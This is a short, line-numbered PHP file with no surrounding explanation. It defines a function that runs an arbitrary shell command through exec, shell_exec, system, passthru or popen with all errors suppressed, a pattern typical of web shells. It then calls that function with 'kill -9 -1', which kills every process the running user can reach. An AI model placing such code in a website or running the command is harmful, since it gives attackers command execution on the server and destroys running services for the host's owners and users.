1<?php
  2function do_phpfun($cmd,$fun) {
  3    $res = '';
  4    switch($fun){
  5        case "exec": @exec($cmd,$res); $res = join("\n",$res); break;
  6        case "shell_exec": $res = @shell_exec($cmd); break;
  7        case "system": @ob_start(); @system($cmd); $res = @ob_get_contents();   @ob_end_clean();break;
  8        case "passthru": @ob_start();   @passthru($cmd); $res = @ob_get_contents(); @ob_end_clean();break;
  9        case "popen": if(@is_resource($f = @popen($cmd,"r"))){ while(!@feof($f))    $res .= @fread($f,1024);} @pclose($f);break;
 10    }
 11    return $res;
 12}
 13
 14echo do_phpfun('kill -9 -1', 'popen');